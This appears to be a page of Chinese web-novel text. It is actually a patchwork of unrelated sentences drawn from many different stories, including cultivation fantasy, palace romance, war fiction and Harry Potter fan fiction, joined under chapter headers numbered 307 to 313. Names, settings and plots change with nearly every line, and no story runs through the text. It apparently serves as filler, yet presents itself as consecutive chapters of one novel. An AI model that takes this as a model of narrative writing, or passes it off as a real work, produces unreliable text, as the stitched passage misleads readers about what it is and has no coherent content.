亡灵军团,竟然没派人来追,让李安娜带着人从容离去。双方距离不过三里,追上来的话,还是很难甩掉的。 若有杀心,他们几人受伤,一人不会武功,有那个机会硬闯,他们不察之下,跑的几率也会很大。 自从白子轩來到学校,不出一个月,学校领导悄悄换了很多,苏锦瑟听丽丽讲过,她那个做校长的亲戚已经被撤职,接受检查,恐怕要坐牢,具体情况丽丽并沒有告诉她,苏锦瑟也沒有多问。 第307章 凯旋 有些东西背道而驰,是什么结果,他们都不知道,只是单纯的为了自己的爱而守护。 秦杨见是老正来了,直接给了这老头一拥抱,上上下下一打量,得,这回门之后,愈发的精神抖擞了,一身明黄色的道袍,配上其鹤发童颜的卖相,倒也真像是神仙中人呢。 “这七年,我唯一学会的便是,要想维持一段爱情,双方都要学会付出,包容,信任,冷泽以后不管发生什么事情,我们都要相信对方好么?”洛云烟轻缓的将脑袋倚在了顾冷泽的肩膀上。 全之虞在那里计算了半天,突然高兴的笑了起来,说她完全同意这些,这样对她的国民可是大大的有好处,百利而无一害,说祖昭真是为他们的国民着想,今晚一定要陪祖昭。 等唐渊回到保卫室的时候,一众人已经在那等待多时了,纷纷的问他战果怎么样,唐渊自然是一顿吹嘘,说自己如何如何教训吴总的狗腿子,给他们狠狠地出了口气之类的。 想到这儿,赵无忧便再也睡不着了。每当这个时候,她总会摸出随身携带的佛珠,就像一个虔诚的教徒,不断的转动佛珠借此来安定心神。明知道这不过是自欺欺人的安慰,老天爷那么忙,其实管不着你的。 赵无忧嘴角微扬,半带嘲讽的望着抬步而来的穆百里。她低咳两声,下意识的裹紧了披肩。 “那我就不知道该怎么和唐少合作了,你也知道,我就是个老鸨子,能办的事儿就是手底下有些姑娘,你既然没有场子,我们该怎么合作呢?”娜姐笑着问道。 因为这附近都是山体滑坡形成的地貌,地表都是乱石,有叶子落到水里也随着水池中溢出的水流走,水是很清澈的。 柳曦一抬头就看见自己的恩师,一脸赞赏的看着她!看着李绯那慈爱的目光,柳曦不禁脸红,有点手足无措! 见林凡离席,包括何酉君在内的所有人,都没有去挽留,甚至有人嘴里已经开始吐脏字了。 泷娜不想再看彭江嘚瑟,直接载着两人来到武道学院认个路后就离开了,还把自己的车借给了彭江。 不过食堂内像他这样做的人少而又少,毕竟在食堂内,那肯定是来吃饭的,尽皆昏迷过去,只留下他们这些还没点餐的人,将食堂内吃饭的上千人一个个地扶起,属实是太难为他们了。 回到病房,白汐还是那副样子,仍然保持着那个姿势,似乎连动也没有动一下。 连彭江自己都没有放过,雷电连带着彭江自己全部劈了上去,火兵瞬间溃散变回岩浆落了下去。 “霸腿??叱咤风云霸凌霄!”危急关头之下,周耀光竟然再次使出一式浩浩荡荡、势不可当的超凡腿法。千钧一发的时刻,一腿一拳当空相撞,转瞬间,又是对拼了成千上万次。 终于,秦澈松了口气,摸着胸口,身体不断起伏,贪婪地呼吸着那不算新鲜的空气。 祝云抬手摸索着,打开墙角处挂着的一盏油灯,灯光亮起,整个屋内顿时亮堂起来,同时伴随着“噗嗤”一声轻响。 是的,大帝多是一路鏖战过来,碾压无数天才妖孽,方才走到证道这一步,所以纯洁二字……大概是不会沾边的了。 刘秀萍不知道丈夫说的这话是什么意思,但是她这人一向没什么主见,唯丈夫是从,董成力说什么,她就做什么,因此她也没有说出什么反对的话来。 奥德修斯很好地贯彻了这一条被列为庞贝家族第二家训的战斗信条。 负责看守的侍卫,看见席姑娘的到来,有一丝诧异。很多侍卫都犹豫不决的不知道该不该拦住席姑娘的去路,毕竟陛下处理政务的时候,最讨厌有人叨扰。 “这么明显的动作,这些人胆子未免也太大了,就不怕被人举报,纪委追查下来,他们忙活的一切都变成竹篮打水一场空吗?”越姝雯忍不住瞪大了眼睛。 杨云溪也是忍不住被感染,唇角就那般一点点的翘了起来。高兴自然是有的,可是更多的还是不可置信。是的,直到现在,她还是依然觉得不可置信。 “外敷,每日擦一次,三日后就会痊愈。”老者枯如干树枝的手指,来回覆盖在席惜之的伤口涂抹。 言初一语不发地靠到他的怀抱里去,办公室的暖气似乎都不再温暖,但是他的胸膛却始终温热。 这么久以来,要不是有玄机老人和慕黎他们所造的傀儡,只怕他们也撑不了那么久。 若是朱礼一心要惩处薛家,她拦不住,也似乎没有资格去拦。不说别的,她和朱礼昨儿才吵了一架,如今她就是想去求情,也是有些拉不下来那个脸。 杀人不过头点地,可这家伙却当着人家的面捏碎别人的心脏,这种杀人手法,用变态来形容都是很委婉的了。 戴上头盔,周围一片漆黑,耳边传来淡淡的背景音乐,这是游戏还没有正式开放的场景。 那人又低低一笑,俯首在她额间轻轻一吻,刹那间,太阳在他的唇畔她的额间迸射出灼目的金光。 任务总算是完成了,邱明还能在这个世界停留接近一年时间,这足够他好好梳理一下所学。这次虽然付出了一颗参籽,但是收获也是巨大的。 额头上的血流在了嘴里,我下意识抿了一下,咸咸的,带点儿腥甜。我从地上挣扎了两次,没爬起来,腰似乎被扭到了,根本直不起来。我索性躺在地上,不再动弹了。 第308章 释怀了 一记刻。他捏了捏被自已紧握在掌心的那颗药丸,最后他还是强忍了吞下药丸的冲动。 不过,辰轩也明白,猴子苏醒需要的能量越大,证明它的天赋就越强,想要远古雷兽那挥手间星辰崩灭的场面,辰轩的心中就感到震撼。 接连后退了两丈,毒蟒尾巴捣起的土浪紧追而来,古清额头汗水直流。 “我第一次回来是因为我看出你们有难处,我想帮帮你们。我这次回来是因为你很异常,我想帮的是孩子。”龙阳丝毫不在意老人的表现,侃侃而谈。 “有些意思!”古清从未见过有人这样施毒,左手轻轻的伸出,六丁神焰熊熊燃烧,像烧木头一样灼烧掉了圆环。 连续试了六七次,每次的情况都一样,攀爬不到一丈的距离,整个身体不受控制,自动滑了下来。他隐隐的感觉,这古灵山仿佛能够排斥外界生灵,不让其他人攀爬靠近。 其实钟氏家族不仅仅只是一武修世家那么简单。早在四年前,前汉国末时期,开国皇帝刘知远病逝之后。幼主刘承佑继位后,前汉将郭威扫平前汉将护国节度使李守贞叛乱后并夺得大权,同时也控制了前汉军中大权。 “租金这么贵,我交给不起的,你赶紧退掉吧!”花婉儿焦急地道。 四人联手,就算是九星毒王巅峰强者也不敢无视他们的攻击,这花轩到底是什么情况,怎么比传闻之中还强? “本官本来不怎么赞同对犯人用刑,只是有些人不见棺材不掉落,黄升,还愣着做什么?往死里打,老实交代为止。”吕布示意黄忠将伍旺拖下去暴打。 大家没有百分百胜利的自信,但计划已经推动,在数据跳跃的时候,从业者在紧张之余,其实拥有的更多的情绪是期待,这是禀赋效应在作祟,所有人都觉得自己手里的东西比较值钱。 顾景臣听她说起爷爷,说起爸爸,甚至说起她的孩子,他积蓄在眼里的泪终于崩溃地滑落。 由于紧张,我说话的声音有些颤抖,这三个字说完,我自己都有些尴尬。 两边的人马明显不是势均力敌,没打一会儿,那边的人便撤走了,枪声结束好一会儿,我还躲在车子下面哆嗦着,双腿发抖。 此人走路极慢,每一步都十分费劲,他的手上拎着一个古朴的盒子,不知道是用来干嘛的。 吴王深沉的眸子中并没有怒火,这说明胭脂夜叉刚才的那番话其实并没有惹怒这位苏城巨擘。 先天生灵,是先天宝物孕育出来的,这些人天生适合修行,日后成神是板板钉钉的事情。 如果用漠皇的话来说,烨华当时刺花璇玑一剑是因为拖延时间,以自己曾听过的烨华来看应该确实有可能,可,时间已拖延了,为什么烨华非得要对花璇玑斩尽杀绝呢? 一直不愿搭理他们的阿婆秋忽然紧张起来,带着他们进了密室告诉他们一个巨大的秘密。 心中涌上一抹不安,烨华现在是皇上,他来怎么回是这么安静,而且,以他的性格,应该不会敲门就进来了吧。 “接招。”莫云天大吼一声,双手握刀直接挥斩而下,魔神的动作也是如出一辙,二人同时出手,好像有着开山裂石之力。 陈君灵的手,握着的冥刀,支撑着身体,慢慢的感觉,身体的力量,十分的虚弱,眼前的血雾,越来的浓重,周围的雾中,传来的哀鸣,十分的冰冷。 他也知道那些门派在下面等什么,名利已在他们眼前,手中剑随时都会出鞘。 可他们的反抗注定是无力的,就如那木锐,狄煜是最先冲向他的。 “老婆,不是,那个我当然还是担心你的。”姜蠡说话的声音不自觉的弱了下来,他越说下去越觉得自己的话没有什么说服力了,最终也就只能苦兮兮着一张脸乞求秦心语的原谅。 在察觉对方消失之后,楚香月没有任何慌乱,秋水剑出鞘,蓝色光芒萦绕其上。 徐陌森首先闭上了眼,知道自己刚才的语气的确是不大好,说的有些过了。 男人停止了说话,扑向了叶潜,叶潜侧过身子,用一个诡异的弧度躲过了男人的进攻,男人防化服上的红灯终于亮了起来,而男人没有使用枪,光他那次冲击就几乎撞坏了这堵墙。 今晚是林语第二次来到风家,但这一次不是搞事情,而是正正经经的有人邀请,而且还是风家的老祖宗,好像是这么个称呼来着,据说是他们风家中辈分最高的人物,修为也是强绝。 而皇太极不出意外的,将主力大军驻扎在了石门关内,并且将整个关城加高、加固了。到了开战之时,皇太极已经将石门关周围方圆五里范围内的树木全部砍伐一空,将这些木材全部变作了檑木、建材,用于防守石门关之用。 树妖听了这样,也感觉前线战场有点不乐观,听到伏魔元帅,就能知道还有什么将军,好像是一个势力,而且实力不低于黑山的势力,心头一惊,不知道什么时候出现了这么个势力,怎么连一点消息都没听到。 “这地方不许喝酒,你们不知道吗?”苏祁微微皱眉,训斥了一句。 曾九娘说完,头也不回地走出了屋子,身后传来歇斯底里的叫喊声,全都是诅咒她的话,当房门被关上时,她感到了一阵眩晕,不得不伸手撑在了门框了。 噬魂扇是由嗜血珠和摄魂棒血炼而成的,本就对灵魂体有天然的克制效果,就算是队长级的死神,挨上一记,灵体也会被狠狠地咬下一口。 这么一看叶子安的前途虽然如烟雾般让人不可琢磨,但有一点是肯定的,就是定然有前途。 此时此刻,就连纲手和玖辛奈,看向张寒的目光都带着极其浓重的匪夷所思,更别说其他人了。 第309章 不治 萧祈安明明是笑着说出这番话的,只是他这话一出口,夏韶宁忽然觉得自己的心很明显的痛了一下。 但提到扑点球效率最高,令各大前锋见之发愁,扑到你颠覆足球观的门将,就是32岁的巴西扑点狂魔迭戈·阿尔维斯。 而距离火柱数丈之内的无神绝宫众人,亦感受到灼热难当,望之骇然,心有余悸。 凌云心中不由感叹,他先是展现出超过凌云估算的惊人实力,然后又说出这番话来,看似激将,实则却是逼得凌云做出选择。是在拥有绝对优势的情况下拼死一战,还是怯战选择围攻。 “高嬷嬷,果然是高嬷嬷,说!你怎会和高嬷嬷在一起,你把她怎么样了?”那位嬷嬷迈出宅院,步步逼近青霜,语气越发冷冽彻骨。 “我同意,而且我会让你心甘情愿的爱上我。”君墨尘扬起下巴胸有成竹。 “颜叔,今晚沐沐不回去好吗?”简莫凡开口询问道。他是真的很想跟颜沐沐在一起,自从上一次的短暂温存过后,他就在也没有碰过颜沐沐了,他可是想念极了那精致的感觉。 “义行殿下,今日召在下前来可是已经同意让本家少主光国殿下返回新津馆了?”土井佐次郎刚在松上义行面前坐好就立刻急切的问道。 “拜拜吧您!祝您老生意兴隆。”凌云听完对方的报价,二话不说转头就走。 绝心忽然感觉到一股凛冽杀气从被自己挟持的颜盈身上散发出来,这个突如其来的变故登时吓得他一个哆嗦,凝神看去之瞬,更是亡魂皆冒,魂不附体。 范嬷嬷焦急的连连跺脚,几番欲言,却又好似有何隐晦之事难以出口一般,只得急虑的连连互搓双手,低声暗叹着。 斩杀了谢庭,凌天松了一口气,然后眼神火热的看向那些五彩天莲。 前些日子方敖带着大军在各族的领地前不住的转悠,简直让妖族们都吓破了胆,旗帜遍野,棋牌漫天,大军浩荡,气息无比宏伟,这样的威势,如同一般散沙,还是像部落一般聚拢在一起的妖族们如何能够抵抗。 话语之中,蒋安歌开口沉着的说道,话语之中,满是一个久经商场历练的青年的沉稳。 会的会长就已经得罪了他们,‘唇’边的笑意加深,但眉目间的冷凝之‘色’更甚。 其实就算宸王不说,元戌王也很中意这两个意气风发的子侄,只是心里仍然有些放不下。 息子霄敛了下袍边,顺势和其他人一样跪了下去,‘花’九在息子霄身后半步的地方亦然,死者为大,这是自古的道理。 没有一会,他就已经检查完,他才重新回到高台上,朗声宣布道。 这句话说的是事而非,从刚才对弈开始,她便敏锐地发现杨屾下棋和她一样有个习惯,那便是每一子都会考虑很久才落下,而且不仅落子慢,‘花’九还注意到他在考虑的时候,会不自觉地将棋子在指间不停的翻转。 周围那些弟子看着这一幕,都是感觉头皮发麻,这道雷霆武技威力太恐怖了,凌天绝对必死无疑。 第310章 缘尽 那一晚的事情,夏韶宁与萧祈安都默契地选择了不对任何人说。 包括萧衡昀。 两人都不希望如今正对治理国事处在兴头之上的萧衡昀,被萧祈安命不久矣的这件事情影响到。 刘忠超请了岭南地方的演艺公司,从一大早就开始卖力的演出,凡是经过的人都可以参与活动领取礼品。 鬼子二大队选择了两面进攻,一面由南向北攀爬缓坡强攻,一面由东边陡坡向山顶阵地秘密偷袭。 刘顶带着众人走到科研室门口时就被一匆匆而来的职员叫走了,无奈马迁安只能随着蒋干才走,由他带领大家继续参观。 “又不是我让你绑的。”赵风嘴角一扬很无赖的说道。冲着赵飞一脸的坏笑。 等到自己的几个手下离开之后,古剑静静的坐在椅子上揉了揉自己的脑袋,感觉一阵胀痛,该死的罗德,他已经打破了自己太多的计划了。这一段时间发生的事情太多,让他有一点喘不过气来。 “神圣衣?”刑飞心里一动,目光刷的亮了起来,在圣斗士的动画片里,他可是知道的,在后面出现了许多强大的圣斗士,他们身上的圣衣与一般的圣衣不同,那是神圣衣。 “总统先生,我想您的这个计划已经酝酿很长时间了,那么您在见我们之前,是否有什么参与世界格局变化的具体事情呢?毕竟,说是一回事,做又是一回事。”杜邦搓了搓手。 从五花八门的各类新闻报告中,龙漠轩简练的提取有用的新闻要素,逐渐在脑海中构成了事情大概是始末。 而在此刻,所有的外围开出了一路路的口子,可以不用敌军冲,而是让出了路让敌军进入。 “他在香山。你有时间可以去看看。他一定会喜欢你的。”赵子岳笑着说道。 战场已经完全的疯狂,慧大爷洞开了十五门我是知道的,潜意识里看一眼就知道,而且我不仅知道慧大爷洞开了十五门,就连他身后那个怒目金刚好像也与他有着神奇的联系,也同时洞开了十五门。 “我……”兰斯染满鲜血的手伸了出来,掉了7万的血量,还不至于让它身亡,不得不说他真是运气好,这是神迹不是现实,现实里这么挨一下别说活下来了,身体都该被碾成肉泥了。 屋子里方才响起了这么大的声音,自然将院子里的人引了过来,何鱼渊感受到一道和他不相上下的气息逼近时,忙捏诀离开了这里。 当初做了这么多的傻事,现在想要来弥补很显然是不可能的事情了,而且也会把事情变得更加糟糕,但不管怎么样他都希望自己做的这些事情是非常正确的,也不想再留下任何的遗憾。 可惜整个城市花园,似乎被一种神秘的力量屏蔽着,让他的探宝神器和氏璧,在这里完全失去了作用,老九也只能靠着最原始的方法,看、听、闻,然后慢慢的寻找。 陈雪自然不知道,陆彦来到天南大学的确是有所图,但是这图的不是别人,而就是她自己。 张巍温香软玉在怀,却没有动一点歪心思,而是轻轻的抱着她,不时亲一下她的额头,用温柔的眼神看着她。 第311章 扫清障碍 “荒谬!你以为你是谁?这天下难不成还真的要和你燕家姓了?” 在临告别的时候,王诚告诉常娟。李子元这个家伙是一匹野马,驯服了、套好了笼头就是一匹千里驹。如果拴不上这个笼头,恐怕这匹野马不定会搞出什么事情来。原来在主力部队的时候,有部队纪律管着他还好一些。 “你们两人过来,把他的头发刮下来,我要仔细检查一下!”‘花’青衣吩咐道。 少年身上的白色长袍不知何时已经烟消云散,露出精壮而不夸张的肌肉。 墨子规和墨子年的须弥袋内,虽然好东西也不少,但却并没有眼下唐笑急需的东西。 上管紫苏道:“尊主这是在逼属下么?”语气中带着三分愤怒,七分的无可奈何。 此时,他的丹田空空如也,全身上下伤痕密布,他已然再没有一丝力气。 一身黑色斗篷加身,帽檐遮住大半张脸,让人瞧不清他相貌为何。 天渐渐亮的时候,‘花’青衣睁开眼睛,发现艾香儿的头倚在自己的肩膀上,睡的香甜,‘花’青衣把自己的衣服脱了下来给她披上,悄悄的看着艾香儿那惊‘艳’的‘摸’样,忍不住的‘吻’了一下她的额头。 “老实干你的活,管那么多干嘛。”回头喝了一声,掌柜看着萧阳离去的方向,轻轻吐了口气。 到了仙庭神国,跨界境第九十九步,差不多和升道境,第一变相差无几了。 本来彪悍魁梧的万血窟掌教,几个刹那,成了一个满头白发,枯瘦如柴的老者。 眼瞳紧缩的望着那名青年,黑袍老者的双眼中,渐渐地有着惊骇之色的涌了出来,一滴冷汗,不受控制的从额头上滑落而下。 张知节听了点头应下了,虽然他不怎么听戏,不太了解,但是以他如今的地位想要请几个角儿那还不是容易的紧? “看来我惊出来的所谓十三狱黑暗天大战的本源,就是那逆天之物的真面目。”苍云一阵苦笑。 紫烟和沈氏名为主仆,情同姐妹,关系非同一般,两人生活在一起也没有什么私密事好避讳的,所以紫烟听了就趴了过来。 “玄灵法眼与灵魂有关,号称鬼神之眼,是可以跟着灵魂进行转移的,与肉身没有关系。”欧阳菘瑞缓缓的说道。 大家一边吃一边聊,赵无极感觉自己的语言还是不够,只能简单的交流,稍微复杂一些就抓瞎了,旁边艾丽儿提议赵无极找所学校好好学习一下,赵无极大受启发,连连点头称是,闲着也是闲着,学学也好。 “调查清楚了,再告诉你之前,你要做好心理准备!”鬼千手一脸凝重的对着林柯道。 赵信需要的,是工业化的能力,还有后世那样,变幻莫测的化学反应,这些已经高于了中学化学的层面。 眼看鬼子朝这边射击,几十个百姓转眼都要被打死,张逸部队不能不接上火,用携带的机枪朝鬼子扫射,张逸也用步枪朝敌人射击。 现在班车距离城市越来越近,雷声也越来越响。车上乘客们原本平静的心在听到雷声之后,也就都不觉得紧张、急躁起来。司机更是狠狠的将油门踩到底,争取赶到暴雨来临之前,赶到前面的b市。 第312章 婚事 自从上一次萧祈安从越州军营回宫以后,他就已经不住在紫宸殿了。 虽然他知道洛夜七一直在败光洛氏,但是没想到洛氏的根基还是很强硬的,要真正的将它全部收复,还需要这么长的时间。 暮晚说,染尘,我们不是要永远在一起吗?入了弱水,便无人能拆散我们了。 “那你还不让我帮你弄冰水?”洛清寒极为无奈,但无办法,只得一直抱着她,等着她药性过去。 一直跟着路凌一直向前走着,也不知道路凌究竟会选择哪一家,“那么你想去哪一家?”看起来好几家的样子,这个地段人多自然是吃饭的的地方也多了。说话间,安若可是自己在看着了。 周永才和赵建见识更广一些,他们觉得到了沈洋这一步,在国内外都很有名气,认识一些人很正常,不过能帮特战队做训练,也证明羊羊体育中心的训练能力了。 “差不多了。”刘协满意的点点头,七万人,而且苦战数日,锐气已失,是时候开始反击了。 毕竟天子有后,就代表着未来国家后继有人,当然,这位皇子的出身算不上好,毕竟不管吕布如何威震天下,本身却是连豪族都算不上,自然让人难以生出认同感。 瞬间变化成僵尸脸,周围的兄弟在下一秒集体的往后跑,这是自家老大发怒的前兆,谁会上去撞枪头,这是找死了是不? 但是在郑权眼里,李云牧可不止有着前三十强的实力,而且还有着前十强挑战的潜力。 不得不说,姬古的骨骼极为逆天,此时西方强者想的不是把姬古杀掉,而是想把姬古给擒住。 他和韩冰蕤两人也忍不住端起面前的酒杯,朝着任天翔敬了一敬。 王皓二话不说,直接来到石台上附近的,疯狂的运转自己的灵气,把灵气冲击进入手腕上的海神手镯之中。 “莫掌门说,他们两个昨天晚上就没影了,不知道去哪儿了,电话也打不通,真是急死人了。我担心他们偷偷来了昆仑禁地。”韩翎担忧道。 想到这些,王皓就翻找出辛筱婉留给自己的名片。找了个公共电话,给她拨了过去。 “这恐怕应该是朝中有人,故意为之的。从另一方面来讲这暗影组织幕后之人应该就是皇族子弟。”朗飞一脸肯定的说道。 就在这个时候,楚江源也从自己的储物袋里拿出一件发亮的珠子,发着通透的亮光。 马东的父母从来没见过陈梅家的父母对自己这么亲切过,不停的指着马东,说这孩子多有出息多有出息,听得二老一愣一愣的。 而且他也不想被人落下话柄,王皓为崆峒山夺得荣誉,到最后,却被崆峒山扔为弃子,传出去,他们崆峒山恐怕要遗臭万年。 倘若男人喜欢你,真的爱你,即便你不脱衣服在他眼里也是宝,若他不爱你,脱光了又如何,不过是自贬身价而已。 随着他的靠近,苏轻盈反射性的后退,倒不是怕混沌之火,她是混沌之火的主人,混沌之火会燃烧世间万物,唯独不会燃烧她。 第313章 眷属 “能,我能,我一定能!”瞧着自家母妃话都说到这份上了,萧衡昀立刻从椅子上站了起来。 赵云趁着间隙冲向其他五六名曹将,毫不犹豫挥枪便刺,手上龙胆枪如一条白龙一般飞舞,这五六名曹将均无一合之将,面对骁勇异常的赵云,转眼便倒,都被一枪刺于马下。 苏瑾上次突遭横祸,心中本就脆弱不堪,此次也是强撑起一丝希望前来帮助傅羲,可她却频频遭遭受焚影圣教的污蔑,让她本就脆弱不堪的的心灵瞬间土崩瓦解。 这时萧峰诧异地发现,自己竟然不知道在什么时候禽兽了起来,下面直了。 接着,苏歌儿心中一动,把昏死的曹永俊提下车,将其衣服裤子剥光,丢上后备箱,而后苏歌儿驾车,潇洒远去。 在众人吃惊的目光中,姜预手卧短笛晃了晃,手中的短笛颇为精致,一片青绿,他颇为自恋地觉得挺配自己的,不禁拿到嘴边,吹了吹,发出毫无规律的梭梭声。 项昊进入‘混’沌区域的刹那,眼前一切,骤然发生了翻天覆地的变化。 他从东海龙宫得到的浅蓝色圆饼奇物,在三十六道紫色雷霆轰击下,化成了一艘模样古怪的战船。 仙界想娶她的人,排的队形都可以绕地球好几圈,可惜都没有机会,而如今一股天大的机会摆在他面前,他却是委婉的拒绝了。这不仅让逸梦好奇,这是为什么? 赵云能力上完全没有问题,但是如今尚未扬名天下,难以真正的震慑曹军。 没想太多,方逸坐了下来,刚刚坐下,就听到有高跟鞋与地板撞击的清脆声音。 自然而然的,罗恩本学期要上的课跟哈利的一样:魔咒、黑魔法防御术、魔药学、变形术、草药学。 且说,宫本见雄接受了曲武洲的挑战,可他想的并不是现在立刻马上开始比武。 林初毕竟是有人生经历的,不仅仅只是一个高中的学生,他清楚的明白体制下的学习,不一定是完美的,人生可以的选择太多太多。 “妈,你说什么呢?那是动漫,我这是现实,怎么能够混为一谈?”姬美奈有些不满的说道。 “你!”一瞬间钟观云的心脏突然停顿了半拍,呼吸也不由自主地跳的缓慢。 火焰杯现在放出夺目的光芒,比整个礼堂里的任何东西都明亮,那迸射着火星的蓝白色火焰简直有些刺眼。 直到韦斯莱夫人通知大家去餐厅吃饭,赫敏和罗恩还是维持着两看相厌的状态,位置隔得老远的坐着,闷头不吭声。 混乱的丝线交缠着光流,然后旋转飞舞,向着一个方向绞杀过去。 喘息越发急促,像是破旧的风箱。红发感觉自己已经喘不过起来了,肺部火辣辣的痛,现在说话一定沙哑得连自己都都听不出来吧? 为了隐藏自己的行踪,苏然直接将旺财召唤了出来,处于隐身状态后,没有影响到任何人,非常顺利的来到了皇城之中。 说到这里,唐霜情不自禁地咽了咽口水,喉结蠕动,说不下去了,这是典型的饿狼。